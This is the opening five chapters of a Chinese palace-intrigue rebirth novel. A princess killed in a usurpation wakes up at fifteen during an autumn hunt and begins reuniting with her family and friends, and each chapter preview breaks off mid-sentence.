《江山为棋(重生)》 1. 覆灭 《江山为棋(重生)》全本免费阅读 “林鸿轩!你这个狼心狗肺的东西!我帮你图谋造反,助你登上皇位,你却如此对我!” 雁京城外一处僻静别院内,一名身着明黄色凤袍的年轻女子,在紧锁房门的屋内怒喊,疯狂摔砸着屋内摆设,脸上那恶鬼般的狰狞之色,破坏了她原本精致秀丽的容貌。 屋外的护卫们对视一眼,其中一人面露鄙夷之色,嘀咕道:“都这个地步了还认不清自己的身份,一个前朝郡主,真当自己是皇后呢?” 旁边的同僚轻声提醒道:“你小声些,别让那疯婆子听到了,否则她又要折腾许久。” 最初说话那人撇了撇嘴,不再言语。他们虽不惧怕里面那疯婆子,但她实在吵闹得很,让人耳根子不得清净。 打砸声不知持续了多久,突然屋内响起一声重物倒地的声音,之后过了许久都没再闹出什么动静。 屋外的护卫们面面相觑,一名护卫犹豫地开口:“里头都是瓷器,那疯婆子不会想不开,割腕了吧?要不要进去看看?” 另一人赶紧拦住他,“有什么好看的,她若真敢自行了断,还替陛下省事了。” 这时,天空淅淅沥沥地下起了小雨,雨滴敲打在屋顶和窗户上,发出清脆的声响。 “下雨了,先去躲躲雨,反正门窗都锁着,她就算活着也出不去。” 其余人闻言,心道,也是,区区废后而已,死了便死了吧。 随着护卫们的离开,院中顿时变得异常安静,仿佛所有的声音都被雨声掩藏起来。 却不知屋内早已空无一人。 他们亦不知,这座别院是前朝嘉阳长公主为女儿宁玉瑶精心准备的嫁妆,别院的主屋底下,有一条通往雁京的地道。 雨势越来越大,宁玉瑶艰难地从树林中的地道出口爬出来,雨水让原本崎岖松软的林间小路更加湿滑难行。 宁玉瑶不停摔倒,又咬牙挣扎着爬起来,她擦去眼睫上遮挡视线的雨水,踉跄着继续朝着雁京城的方向跑去,她的双手已被地上的碎石和枯枝划得鲜血淋漓,华贵的凤袍上沾满了泥水。 宁玉瑶不知道自己跑了多久,待雁京的城门出现在她的视线中时,她的脚步变得极慢,双腿如同灌了铅一般,往前走的每一步都极为艰难。 昔日宏伟壮观的大宸国都雁京城,如今已残破不堪,只剩下残垣断壁,一群身着北穆服饰的士兵将领手持染血的武器站在残墙上,发出阵阵狂妄嚣张的哄笑声,“哪来的小娘皮,带上来让大爷们快活快活!” “太傅……丞相……李将军……” 宁玉瑶不理会城墙上北穆兵士们的叫嚣,她抬头看着悬挂在城墙上已无生气的宸朝官员们,双腿一软,跪在城门前。 宁玉瑶凝视着雁京城内,曾经繁华热闹的大宸国都已血流成河,熊熊烈火无情地吞噬着曾属于大宸的荣华。 一名北穆兵士冲到宁玉瑶的身边,抓住她的头发,试图将她拖进城中。 宁玉瑶万念俱灰。 大宸亡了… 突然,拖拽她的人停下脚步。 宁玉瑶的头发被硬生生往后扯,逼迫她抬头看向城楼,那上面站着的人,正是林鸿轩! 林鸿轩身着龙袍,高高在上地站在城楼之上,身边侍卫环绕,宛若在看蝼蚁一般,冷漠地俯视着浑身泥泞的宁玉瑶。 宁玉瑶嘴角泛起一丝惨笑,就是这个人,大宸皇帝钦点的探花郎,也是占据她身体的孤魂执意要嫁的夫婿,他谋夺了大宸江山,害死了自己的爹爹娘亲。 她恨啊!恨占据了她身体的孤魂野鬼,更恨这个与北穆勾结,残杀大宸百姓的林鸿轩! 宁玉瑶看见林鸿轩对她举起长弓,她死死地盯着林鸿轩,要将他的模样刻在心上,若是死后真能化作厉鬼,她绝不会轻易放过他! 箭矢接二连三破空而来,穿透了宁玉瑶的身体。 北穆士兵松开手。 宁玉瑶带着满身利箭,艰难地向雁京城爬去,身后留下一道长长的血印,很快就被雨水冲刷得无影无踪。 好疼…… 爹……娘……女儿想回家…… 宁玉瑶用尽最后一丝力气抬起头,睁大眼睛凝视着城楼的方向,她的呼吸渐渐微弱,直至彻底消失,都不曾闭上双眼。 * 宁玉瑶在一阵剧烈的颠簸中缓缓睁开眼睛,意识模糊不清的她,身体不由自主地晃了晃,险些从马背上跌下去,这才发现自己此时正骑在一匹受惊的骏马背上。 “郡主小心!” 后方远远传来一声焦急的呼喊,宁玉瑶下意识紧紧攥住手中的缰绳,眼中一片茫然。 这是怎么回事?我……我不是已经死了么? 她清楚地记得,方才有无数支箭矢刺穿了她的身躯,那锥心的疼痛,让她不禁打了个寒颤。 宁玉瑶环顾四周,天空中烈日高悬,这片辽阔无垠的草原有一种似曾相识的感觉,但一时之间又想不起具体在何处见过。她回头望去,身后,一群穿着大宸服饰的青年正紧紧地追赶着她。 由于距离太远,宁玉瑶看不清他们的面容,但是从他们一声声焦急地呼唤声中,可以感觉到他们对自己并无恶意。 尽管不知道眼下是何状况,但当务之急显然是控制住身下已然失控的烈马。 宁玉瑶努力稳住身体,一手紧紧拉住缰绳,另一手轻轻拍打马颈,试图让它平静下来。 但似乎没有什么效果,黑色的骏马依旧嘶鸣着向前疾驰。 狂风从耳边呼啸而过,马蹄扬起阵阵尘土,身后的人紧追不舍。 但很快,狂躁的马儿载着宁玉瑶将他们远远甩开,冲进一片茂密的树林中,消失不见。 进入树林后,繁茂的枝叶稍稍减缓了疯马奔跑的速度,宁玉瑶这才松了口气,就在她准备寻找机会跳下马时,前方出现了一道修长的身影。 那人穿着一袭靛蓝色窄袖骑装,手中牵着一匹枣红色的驽马,缓缓朝着这边走来。 宁玉瑶恨恨地盯着来人的面容。 林、鸿、轩! 没想到死后还会见到与自己不共戴天的仇人,宁玉瑶惊怒交加,一时间不自觉松开了缰绳,从马背上滚落下来。 “明安郡主,您可安好?”林鸿轩见此情形,快步朝宁玉瑶走来。 宁玉瑶强忍着身上疼痛,艰难地撑起身子,她摸到腰间的软鞭,毫不犹豫地抽出来,朝林鸿轩狠狠挥去,怒喝:“受死吧!” 林鸿轩一惊,显然没料到明安郡主竟如此跋扈,二话不说就挥鞭相向。 他躲闪不及,匆忙之中只堪堪抬起手臂护住自己的脸,鞭子从 2. 重生 《江山为棋(重生)》全本免费阅读 通往行宫的道路畅通无阻,明安郡主坠马的消息禀报圣上之后,承武帝便下令,围猎场内所有路障全部撤下,只为郡主能够尽快抵达行宫。 行宫将至,宁玉瑶浑身冷汗涔涔,秋日的阳光虽然依旧炽热,但气温已逐渐转凉,秦熠用披风上的兜帽将宁玉瑶被汗水浸湿的脸遮住,唯恐她吹风受凉。 宁玉瑶虚弱无力地斜倚在秦熠怀中,这一路,她慢慢理清了思绪,对当前的处境有了一个大致的推断。 或许是上天垂怜,让她在目睹国破家亡、亲人离世,自己被乱贼射杀之后,回到了她十五岁这一年。 承武十五年,家国俱在,大宸海晏河清,四海承平。 此次秋猎,便是后来一切变故的开端。 上一世,同样是在这场秋猎中,她的马毫无征兆地受惊狂奔,载着她冲进了树林中,恰巧撞上了孤身一人在树林中迷路的林鸿轩。 当时,林鸿轩见她的坐骑失控发狂,不顾自身安危,以肉身为垫挡在马前将她救了下来。 就在宁玉瑶死里逃生、惊魂未定之时,一道来历不明的魂魄侵入了她的身体,压制住她的意识,让她只能被迫接受自己的身体被那缕孤魂占据,眼睁睁地看着它嫁给林鸿轩。 而后,它利用长辈们对自己的宠爱胡作非为,替林鸿轩多方筹谋,最终让林鸿轩害死了自己的父母,篡夺了大宸江山。 而它最终也落了个被囚禁的下场,这让它大受刺激几近崩溃,才让宁玉瑶寻得机会将它反击。谁曾想,她逃出别院后却亲眼目睹了那惨绝人寰的一幕…… 而现在,已经过了上一世的那个关键节点,那缕孤魂却并未如之前那般出现,宁玉瑶暗自揣测,或许是因为她的归来,才导致这一切发生了改变。 不过,不论是何种原因,只要那缕孤魂不再降临,便是一桩幸事。 秦熠快马加鞭抵达行宫门口,他拉紧缰绳,正准备抱着宁玉瑶下马,御前总管太监苏德茂连忙上前:“秦都尉,陛下有旨,特许您骑马带郡主回澜月宫。” 秦熠闻言坐定,对苏德茂感激道:“谢陛下隆恩,有劳苏公公了。” 苏德茂恭敬回道:“不敢当,秦都尉快请,御医已经在澜月宫候着了。”说罢,他侧身退开,让秦熠进行宫。 秦熠不再耽搁,轻夹马腹,直奔澜月宫而去。 得知女儿坠马的消息后,诚国公宁渊便放下手中事务,站在澜月宫门前等候,惯来和善的诚国公难得面带肃容,眉头紧蹙注视着秦熠过来的方向。 待秦熠勒马停在自己面前,宁渊对秦熠微微颔首,挥手示意身边的侍从退下,亲自从马背上接过宁玉瑶。 看着脸色苍白,浑身狼狈的小女儿,宁渊心痛难忍,他紧抿着唇,抱着女儿疾步向内院走去。 “爹……”宁玉瑶从混沌中苏醒,睁眼便看到自己父亲冷肃的面容,她想起自己最后一次见到爹娘时只剩下两座冰冷的牌位,不由悲从中来,“爹……娘……” “瑶儿别怕,爹在。”宁渊听见女儿带着哭腔的呼唤,强忍心中怒火,柔声安抚着。 “娘……” “瑶儿,娘在这里。”嘉阳长公主祁婧惠得知女儿归来,快步从内院迎了上来。 时隔多年,宁玉瑶再次看见自己的母亲,泪水瞬间滚落下来。 祁婧惠心疼地抚摸着女儿的脸庞,她何曾见过千娇万宠的女儿如此委屈狼狈的模样,看着女儿脸上的泪水,她心中酸楚,也跟着红了眼眶。 “瑶儿,别怕,爹娘都陪着你,先让太医给你检查一番。”祁婧惠紧紧握住女儿的手,耐心地跟在丈夫身边哄着女儿。 宁玉瑶不错眼地盯着母亲,乖乖应下。 宁玉瑶难得的安静乖巧却让宁渊夫妇心里更加难过,他们不再多说,快步走进宁玉瑶的寝房。 “太医!”宁渊小心地将宁玉瑶放置于床榻上,立即侧身退让,将位置让与方太医。 方太医不敢有丝毫怠慢,伸出手指搭在宁玉瑶腕间,屏息凝神,细细感知她微弱的脉搏。 少顷,方太医松开手起身,向祁婧惠躬身行礼道:“殿下,郡主血行不畅、瘀滞有阻,只需活血化瘀,调理气血,安心静养即可。” 祁婧惠和宁渊闻得此言,心下稍安,瑶儿无性命之忧便好。 宁渊轻柔地抚摸宁玉瑶的头发,“爹爹也先出去了。”说罢,他向妻子点头示意,与方太医一同离开了房间。 宁渊行至澜月宫门口,便看见正坐在门槛上等待的秦熠。 秦熠见宁渊出来,连忙起身行礼,“见过诚国公。” “此番有劳秦都尉了。”宁渊脸上已不见方才面对宁玉瑶时的温和,但在秦熠面前仍竭力压抑自己的怒意,对秦熠道,“还需劳烦秦都尉将当时的情形详细与我说来。” 秦熠跟在宁渊身后向书房走去,谦恭道:“国公爷言重了,此乃下官分内之事。” * 寝房内,弥漫着淡淡的水汽。 侍女们小心翼翼地擦拭着宁玉瑶的身体,祁婧惠看着女儿身上的淤青,心疼得又红了眼眶。 尽管此时正值深秋,树林的地面被厚厚落叶覆盖,但从飞驰的马背上跌落,宁玉瑶身上难免受伤。 “娘,瑶儿不疼了。”宁玉瑶抬手轻轻擦去母亲脸上的眼泪,还能再见到娘亲爹爹,一点点伤又算得了什么。 嘉阳长公主坐在床沿,见女儿一直紧张地看着她,不愿女儿身上有伤却还要担心自己,她稳住心绪,柔声问宁玉瑶:“瑶儿,可还记得今日发生了何事?” 宁玉瑶轻轻摇了摇头,“女儿也不知道,月影似乎突然就受惊了。” 月影便是她今日狩猎时所骑的那匹黑色骏马,此马本是她十二岁时皇上送的生辰礼,平时性情极其温顺,今日却无端受惊失控,其中必有蹊跷。 然而前世皇帝舅舅与父亲联手彻查围猎场,未能查出任何异常之处,种种结论都表明这只是一场单纯的意外。最终,他们只能处置了接触过月影的一干奴才,以此来了结此事。 尽管在此后的数年里,她从种种蛛丝马迹中察觉出这件事可能有林鸿轩的手笔。但她没有找到确凿的证据,想必这次林鸿轩同样不会留下任何痕迹。 可惜,今日回来时自己受伤行动不便,错过了一鞭子抽死他的大好机会。 “无妨,瑶儿不必担心其他事,只管安心调养身体,有爹娘在呢。”祁婧惠抚摸着女儿依旧没多少血色的脸,轻声说道。 宁玉瑶藏起心中万般思绪,对母亲撒娇:“娘亲最好了。” “殿下,郡主该服药了。”侍女接过门口小丫鬟送来的药碗,走近前来提醒道。 祁婧惠颔首,示意将药端过来。 看着女儿乖乖喝完药躺下,祁婧惠拍了拍宁玉瑶的胸口,“瑶儿好好休息,娘在这里陪着你。” “嗯。”宁玉瑶看着许久未见的母亲,舍不得闭上双眼,但很快在药效和母亲轻柔的安 3. 竹马 《江山为棋(重生)》全本免费阅读 “你说你,胆子这么大,敢对同朝官员拔箭相向,想没想过后果?” 一回自己在行宫中的小院,秦柏就开始数落秦熠。 秦熠撇撇嘴,“哪还顾得上那么多,明安呵斥了两次让那姓林的滚开,我怕他一意上前吓着明安,才一箭过去将他逼退。” 今日在场的三人一同隐下了宁玉瑶曾想取林鸿轩性命之事,秦熠自不必多说,他本就偏心宁玉瑶,必然会替她隐瞒,至于林鸿轩为何也只字不提,就不得而知了。 秦柏气不打一处来,“那你怎么不趁着别人赶来之前把箭拔出来?非要留在那里让所有人都看见?” “我就是故意留下它的,明安那么厌恶他,肯定事出有因,既然他有问题,就让陛下和国公爷好好查查。”秦熠振振有词。 秦柏越听越气,撸起袖子要揍儿子,“嘿,你还挺有道理。” 秦熠梗着脖子看着自己亲爹。 “好了,事情已经发生了,陛下也没怪罪秦熠,就这样吧,”秦夫人头疼地将父子两分开,转头看向秦熠,“这些日子郡主需要静养,你没事少去澜月宫晃悠,郡主若是休养不好,仔细你的皮。” 秦熠垮着脸,无精打采地应道:“知道了。” 秦夫人想了想,又提醒道:“也别送些奇奇怪怪的东西过去,这阵子别惹郡主生气。” 秦熠不服气地嚷嚷:“我什么时候送过奇奇怪怪的东西了,我送给明安的每一样礼物都是精挑细选的。” 秦夫人看着儿子这幅油盐不进的样子,眉毛一竖,懒得再跟他废话,“滚回你自己房间去!” “滚就滚。” 秦夫人看着儿子猴儿一般蹿了出去,叹了口气,问秦柏:“你说儿子到底开窍没?” 说秦熠对明安无意吧,却事事都以明安为先。 但若说他心悦明安,隔三差五就送一些乱七八糟的东西去长公主府,惹得郡主见他一次就打一次。 秦将军府中众人只当作没看见,秦老夫人甚至特意让秦府侍卫准备好棍子方便明安郡主揍秦熠,免得郡主手疼。 秦夫人愁眉苦脸地想,真不知道那混小子在想什么,哪个娇滴滴的小姑娘会喜欢虫干、猪崽那些东西! 秦柏冷笑:“你管他呢,随他折腾,到时候心上人跑了有的是时候哭。” 秦夫人气不打一处来,抬手便在秦柏后背拍了一巴掌,“你就不能盼着点你儿子好!” * 宁渊与妻子祁婧惠携手缓步行至澜月宫,二人的长子宁璟瑞步履匆匆地走过来。 宁璟瑞今日本应在雁京值守,得知妹妹坠马的消息,立即快马加鞭赶到了围猎场。 “爹,娘。”宁璟瑞恭敬行礼。 “如何?”宁渊早先知道长子来了围猎场,便让他先去查看月影的状况。 宁璟瑞退后一步,跟在父母身后回道:“儿子赶到的时候马医正在检查月影,奇怪的是,月影已恢复正常,看不出丝毫异常,不仅如此,太医和大理寺仔细检查了月影这几日的饮食,也并未发现异状。” 祁婧惠缓步走在前方,突然开口问道:“璟瑞,你觉得这是意外吗?” “儿子觉得不是。” 太过正常,反而蹊跷。 祁婧惠语气淡漠,“本宫也不信,有些巧合过多,就不是巧合了。” 林渊知道妻子是在怀疑林鸿轩,他又何尝不是,瑶儿从不无端生事,今日却对林鸿轩表现出如此强烈的敌意,必定是这贼子心怀不轨。 林渊拍了拍妻子的手,转头对林景瑞说:“这段时间不当值的时候多来围猎场看看,瑶儿的事,你多上点心。” “是,父亲。” 祁婧惠转过身看着自己的长子,仔细将林璟瑞奔波一下午而显得有些凌乱的衣襟抚平整,温声嘱咐道:“此人敢在皇家围猎场动手,且做得天衣无缝,定然不简单,你务必要谨慎行事。” 宁璟瑞点头应下:“母亲放心。” 他们回来时,已是戌时,皎洁的明月高悬于夜空之中。 一家人步入澜月宫,宁渊将儿子叫去书房继续商讨今日之事。 祁婧惠放心不下女儿,她向澜月宫的侍女询问:“郡主晚间可曾用膳?” “回殿下,郡主酉时醒后,用了些粥和点心,方才服过药又睡下了。” 祁婧惠微微点头,但依旧放心不下,决定先去看看女儿。 寝房外的侍女们见到长公主,正要行礼,祁婧惠抬手示意噤声。 青黛从房内迎出来,安静地福了福身。 “瑶儿睡得可好?”祁婧惠压低声音问。 青黛轻轻摇头,轻声回道:“郡主心神不宁,总是惊醒。” “娘亲来了?” 正说话间,屋内传出宁玉瑶的声音,她话音未落,随着一阵响动,屋内烛灯亮起。 祁婧惠走进寝房,青筱已经将床幔拢起,宁玉瑶躺在床上眼巴巴地看着她。 “娘。”宁玉瑶向祁婧惠伸出手。 “是娘吵醒你了么?” 祁婧惠握住女儿的手,在床沿坐下,仔细端详着女儿的面容,见她的脸色比刚回来时好了不少,顿时放下心来。 “没有,女儿刚好醒来。”宁玉瑶拉过母亲柔软温暖的手放在自己脸颊上,满足地眯起了眼睛。 祁婧惠满眼宠溺地看着向自己撒娇的女儿,想起方才小朝会上的事,见此时女儿精神尚可,便开口问道:“今日在翠影林中,你遇到的那个小官,可曾对你有不敬之处?” 宁玉瑶知道娘亲说的是林鸿轩,虽然恨不得给他按个死罪,但也明白不可在舅舅面前无中生有、栽赃陷害,只得遗憾地摇摇头,说:“他尚未近身,熠哥哥就到了。” 祁婧惠闻言有些诧异,“那你为何拿鞭子抽他?”要知道女儿虽然得了这根御赐的鞭子,却轻易不会用它伤人。 宁玉瑶漫不经心地说:“大概是他长得太丑,碍了我的眼吧。” 祁婧惠轻轻戳了下她的额头,嗔怪道:“尽胡说,他可是你舅舅钦点的探花郎,人品、才学无一不是精挑细选的。” 宁玉瑶却耍赖笑道:“娘,这大概就是不合眼缘罢,反正我看见他就头疼。” “罢了,横竖他只是个六品小官,身份低微,轻易到不了你跟前。” 祁婧惠拍拍女儿的手,叹了口气,好歹林鸿轩也是个朝廷命官,不能轻易打杀,以后让人将他远远隔开便是。 宁玉瑶心想,到不了么?谁也不知林鸿轩此人究竟有多大的能耐,前世竟能有如此多的巧合,让他频频出现在自己面前。 不过,这次不管林鸿轩如何手眼通天,只要他再敢耍花招,她也绝不会手软。 宁玉瑶收起心中恶念,抬头便看见母亲一脸倦容,知道娘亲为了自己奔波了一天,宁玉瑶轻声说:“娘,时候不早了,您快回去歇息吧。” “好,”祁婧惠将宁玉瑶的被角整理好,轻声哄她,“这几日还需好好休养,不可再淘气了。” “知道了,娘。”宁玉瑶乖乖点头。 * 夜幕深沉,万籁俱寂。 宁玉瑶静静地躺在床上,眼神空洞地望着床幔,她刚从噩梦中惊醒,一时之间,分不清自己现在身处梦境 4. 回京 《江山为棋(重生)》全本免费阅读 青黛、青筱服侍宁玉瑶穿戴妥当,又细心地披上暖和的大氅,才让侍卫们小心翼翼地用肩舆将她抬到小演武场。 他们到时,秦熠早已在燃起火把的演武场边等着了。 他远远望见宁玉瑶,满脸灿烂地飞奔过来,“明安,身体可好了?我娘说你这几日精神不济,让我少去烦你。” 秦熠眼神清澈,明亮的眼睛里满是欢欣,丝毫没有半夜被人从睡梦中叫醒的不悦和困顿。 宁玉瑶凝视着眼前的翩翩少年,历经三年的沙场浴血奋战,他的皮肤变得粗糙黝黑,尽管回到雁京一年稍有恢复,但仍旧与时下人们以细腻白皙为美的观念大相径庭。 不过秦熠的五官生的极好,他的眉毛如墨画般浓密且平直,鼻梁高挺,狭长的眼睛让他不笑的时候略显凌厉,但他面带笑意时,却又透出一种别样的温柔。 曾有许多贵女私下悄悄议论,可惜秦都尉从不敷粉,若是秦都尉愿意像其他男子那般用脂粉将脸抹得白净些,不知他会有多俊俏。 对此,宁玉瑶嗤之以鼻。 “比之前好多了。”宁玉瑶懒洋洋地开口,对随行的侍卫扬了扬下巴。 那名侍卫恭敬地将手中的长枪递到秦熠面前。 秦熠伸手接过长枪,笑着问:“明安今日想看什么枪法?” 宁玉瑶已记不太清秦熠会哪些枪法,只得含糊道:“随你罢,好看就行。” 秦熠听后打趣道:“敢情明安是想看杂耍了?” 宁玉瑶轻哼一声,并未搭腔,只是默默地看着他。 秦熠败下阵来,无奈地说:“杂耍便杂耍吧,小的定让这位看官满意。” 说完,秦熠提起长枪,大步迈入演武场。他将衣袍的下摆系在腰间,右手紧握长枪,猛地一抖,刹时,他的气势发生了翻天覆地的改变。 宁玉瑶眼中满是怀念地看着场中的少年演练枪法。 秦熠身材高挑,双腿笔直有力,身体结实但不过分壮硕,宛如一棵挺拔的松柏,英姿勃发,此刻长枪在他手中好似一条蛟龙,上下翻腾,气势如虹。 尽管秦熠已尽量收敛自己的气息,但宁玉瑶仍能感觉到一股凌厉的杀伐之气扑面而来。 这便是那十七岁就战功赫赫的秦小将军。 一套枪法结束,秦熠干净利落地收势,不过一瞬,他又成了那个笑容灿烂的熠哥哥。 他将长枪交还给侍卫,解下衣袍拎在手中,跑到宁玉瑶跟前,笑问:“这位看官可还满意?还请大人打赏。” 这架势,真当自己是来讨赏的杂耍艺人了。 宁玉瑶被他这副模样逗笑,从大氅下拿出一本书扔到他兜起的衣角中。 秦熠拿起书一看,上面赫然写着两个大字:《尚书》。 秦熠顿时垮下脸,“大人可否换个赏赐?或者我给您背一遍孙子兵法?” 宁玉瑶毫不犹豫地拒绝,“不行,我就要听这个,今日读《禹贡》篇和《甘誓》篇吧。” 秦熠满脸愁容,无奈地叹息一声。 他宁愿再去打个十套八套枪法,或者将枪法、拳法、剑法从头到尾演练一遍,也好过坐在这里干巴巴地念这些咬文嚼字的东西。 但他拗不过宁玉瑶,只好撩起衣袍席地而坐。 动作之快,青黛都来不及奉上蒲团。 秦熠对青黛摆摆手,示意不用讲究那些。 此时天空已微微泛起鱼肚白,秦熠翻开《尚书》,认命地念着:“禹别九州,随山浚川……” 十八岁的秦熠,嗓音已逐渐褪去儿时的那份清脆动听。如今,少年的声音清澈柔和,他念书时,稍稍压低嗓音,语调中带着一丝温柔。 宁玉瑶听着这久违的读书声,不知不觉竟沉沉睡去。 秋日的清晨,空气中带着丝丝凉意。 青筱将宁玉瑶身上的大氅整理好,以防她着凉。侍卫们安静地在周围围成一圈,替郡主遮挡秋风。 《禹贡》篇和《甘誓》篇并不长,秦熠没用多久便读完了。他抬起头,目光落在熟睡中的宁玉瑶身上,或许是因为读书声骤然停止,宁玉瑶微微蹙眉,似乎快要醒来。 秦熠听母亲提起,明安近几日精神不济,此时看她难得安睡,他没有犹豫,翻开《尚书》继续往下念。 宁玉瑶醒来时,已经躺在回程的马车上,车内铺着厚实的软垫,马车平稳地驶在官道上,感受不到丝毫颠簸。 “郡主,您醒了?”一旁的青黛将宁玉瑶扶起。 宁玉瑶见窗外天色大亮,示意青筱将车窗打开。 窗外阳光正好,官道两侧的红枫似火,落叶纷纷扬扬飘落,宁玉瑶已经许久未欣赏如此美丽的风景,心情很好地弯了弯嘴角。 青筱从暗格取出洗漱用具,侍奉宁玉瑶梳洗,她见郡主面带笑容,以为是折腾完秦都尉心情舒畅,笑着说:“郡主,您不妨猜猜秦都尉今日读了多久的书?” 宁玉瑶诧异,听青筱这话的意思,难道秦熠念完那两篇文章后还读了别的不成? 青筱看见郡主脸上的疑惑,不等宁玉瑶开口询问,便主动解惑:“秦都尉读了快一个时辰呢,读到最后嗓子都哑了。” “你们怎么不劝他停下?”宁玉瑶皱眉。 青黛正帮宁玉瑶整理发髻,听出郡主语气中的不悦,连忙说道:“奴婢们劝过了,但秦都尉知道您最近休息不好,见您睡得沉,谁劝都没用。” 宁玉瑶微微抿唇,轻声问:“那他嗓子可还好?” 青筱自然明白郡主并未真的生气,笑着回答:“郡主放心,秦都尉喝过润喉茶,已经无碍了。” 宁玉瑶这才松开皱着的眉头,她只想闹一闹熠哥哥,并不愿真的伤了他的身体。 青筱又想起秦夫人来寻秦都尉时的情景,不禁笑出声:“郡主,您有所不知,秦夫人见秦都尉迟迟未归,亲自来寻,却看见秦都尉坐在那里安静读书,秦夫人一直念叨着祖宗保佑,不许我们再劝秦都尉。” 宁玉瑶知道秦熠的性子,秦家为了拘着他念书费尽心思,但一直收效甚微。除了兵书能让秦熠翻来覆去仔细研读,其他圣贤书,秦熠平日哪怕只是瞄上一眼都能立刻睡着。 这次秦熠愿意读一个时辰《尚书》,莫说秦夫人惊诧,就连宁玉瑶都觉得不可思议,毕竟自己平日让他读两篇文章都要费上好大一番功夫。 青筱见宁玉瑶眼中含笑,对青黛眨了眨眼,青黛赶忙从另一侧的暗格中拿出一直温在小暖炉上的粥点,“郡主,今日早膳您随意用一些,待晚上回府就好了,殿下已命府中备下您喜欢的菜肴。” “无妨,出门在外,一切从简吧。” 行至夕阳西下,天边仅剩一抹斜阳,长公主府和诚国公府的马车才抵达雁京城外。 青筠见宁玉瑶不愿关窗,便将纱帘放下来。纱帘既不阻碍马车内的视线,又可避免外面的人冲撞郡主。 宁玉瑶透过纱帘向外望去,雁京城乃大宸国都,仅在城门口,便可窥见这座古朴城市的繁盛程度。 天色渐暗,周边村落的百姓骆驿不绝地走出城门,或挑着扁担,或推着独轮车,准备归家。 百姓们和守城兵士远远望见贵人的车驾,纷纷让开道路,生怕不小心冒犯了贵人。 宁玉瑶的马车缓缓进入城中,沿着宽阔的街道向着东城驶去。 街道两侧,有小贩正在收拾摊位,而夜市的摊贩则刚开始摆摊,小贩和街边商铺的小厮们皆在大声吆喝着,招揽客人,整个街市人声鼎沸,热闹非凡。 这般充满生活气息和人间烟火味的热闹景象,渐渐掩盖了宁玉瑶脑海中那段惨烈的回忆。那个尸横遍野,被烈火染红了半个天空的雁京城,在此刻也逐渐模糊起来。 宁玉瑶看着眼前曾经觉得过于喧闹的地方,现如今却只觉前所未有的安心。 随着马车一路往东行驶,街道两侧渐渐安静下来。东城乃达官贵人们聚居之地,闲杂人 5. 好友 《江山为棋(重生)》全本免费阅读 用过晚膳,姜婉珍陪着宁玉瑶走出膳堂,青筱早已叫肩舆在门口等候。 姜婉珍扶着宁玉瑶坐稳,宁雅娴趴在肩舆的扶手上,对宁玉瑶眨巴眨巴漂亮的大眼睛:“姑姑,娴儿明日去找你玩好不好。” 整个家中宁雅娴最喜欢的就是宁玉瑶,姑姑生得最美,也不会把她当作孩童看待,只要姑姑在府上,总会有许多新奇有趣的东西带着她一起玩耍。 “娴儿,姑姑身体不适,可不能跟着你胡闹,明日陪着娘亲可好?”姜婉珍过来牵起宁雅娴的手,轻声哄着她。 宁玉瑶看着眼前粉雕玉琢的小姑娘,忍不住伸手捏捏宁雅娴头上可爱的小发包,却不小心捏乱了。 她若无其事地收回手,强忍着笑意说:“无妨,嫂嫂明天带娴儿来我院中玩就是,这些时日我整日躺在床上,实在烦闷。” 说完,宁玉瑶迅速向哥哥使了个眼色,示意他赶紧把娴儿抱走。 娴儿年纪虽小,却极为爱美,若被她知道自己的头发被姑姑弄乱了,定会哭闹不休。 宁璟瑞如临大敌,连忙上前把女儿抱起来,“瑶儿,那我们便先走了,你好生歇息。” 姜婉珍见状,好笑地轻点宁玉瑶的额头,嗔怪道:“顽皮。”说完跟随丈夫快步离开。 宁雅娴顶着乱糟糟的小揪揪,开心地趴在父亲肩上对宁玉瑶挥手,“姑姑,娴儿明天来找你玩。” 宁玉瑶满脸笑意地应下。 翌日清晨。 “郡主,郡主,您醒醒。” 一阵轻柔的呼唤声在宁玉瑶耳边响起,她有些费劲地睁开眼睛。 青黛站在床边,见终于把郡主叫醒,松了口气,轻声说:“郡主,已近午时,太医说不能再睡了,不然惊了觉,晚上该睡不着了。” 今日清晨郡主迟迟未醒,她们惊慌之下寻来方太医,太医告知她们,郡主能够安睡对身体大有裨益。 长公主便吩咐她们好生照看郡主,让郡主继续沉睡。 宁玉瑶眨了眨迷蒙的眼睛,没想到自己居然睡了这么久。 青筱端着一盆温水走进房间,伺候宁玉瑶梳洗。 一番折腾后,宁玉瑶总算清醒过来。 或许是因为回到了自己熟悉的家中,又或许是回来的路上看到了繁华的雁京,让她真切地意识到自己已经回到了那些灾祸发生之前。 这一觉,她睡得格外沉,睡醒之后就连因摔伤一直隐隐作痛的内腑似乎都好转了许多。 青黛替宁玉瑶梳好发髻,开口笑道:“小小姐今日上午来过一次,见您还未起,便又被奶嬷嬷抱走了。小小姐千叮咛万嘱咐,待郡主醒了让奴婢一定记得告诉她。” 宁玉瑶看着铜镜中的自己,皮肤白皙,面色红润,被青黛精心修饰的水湾眉下是一双明亮的杏眼,鼻梁纤巧,唇似绽桃,她满意地笑了笑,接着青筠的话说道:“既然如此,那就去告诉娴儿,让她午休过后再来。” 青黛手脚利落地从首饰盒中挑出一支镂空雕花水晶钗簪,轻轻簪在宁玉瑶的发髻上,同时应下:“是,郡主。长公主殿下吩咐,您醒来后自行安排,不用去给殿下和国公爷请安。您现在可要用膳?” “知道了,传膳吧。” 饭后,宁玉瑶带着侍女们在小花园内散步,秋日园内的菊花盛开,正是赏菊的好时节。 本来宁玉瑶前两日就可以下地走动,但嘉阳长公主担心她身体尚未完全恢复,坚持让她静养,今日终于松口让她可以在院子里稍稍走动。 在小花园内没走多久,青筱拿着一张帖子过来了。 “郡主,是沈小姐送来的帖子。” “哦?”宁玉瑶眼中满是惊喜,接过帖子一看,果然是她的好友沈瑜所写。 沈瑜与宁玉瑶同岁,乃鸿胪寺少卿之女。一年前沈瑜留在祖籍兴州的祖母病重,其父因公务缠身无法回家照料母亲,便让沈瑜和弟弟沈斯宇一同回乡代父尽孝。 帖子中写着,沈家祖宗身体已无大碍,沈瑜于三天前就已返回雁京,听闻郡主坠马,甚是担忧,特送来拜帖,待郡主身体康复后再登门拜访,她会一直在家中静候郡主佳音。 宁玉瑶仔细看完帖子,语带笑意:“去书房磨墨,小鱼儿的帖子我须得亲自回才是。” 前世从围猎场回来后,曾多次收到沈瑜送来的拜帖,但孤魂没有理会。甚至在后来的花宴上,它也对满脸欢欣来寻她的沈瑜视而不见,让沈瑜误以为自己被疏远,伤心之下两人便断了往来。 宁玉瑶回好帖子,差人送去沈府,邀请沈瑜两日后来长公主府赏菊。 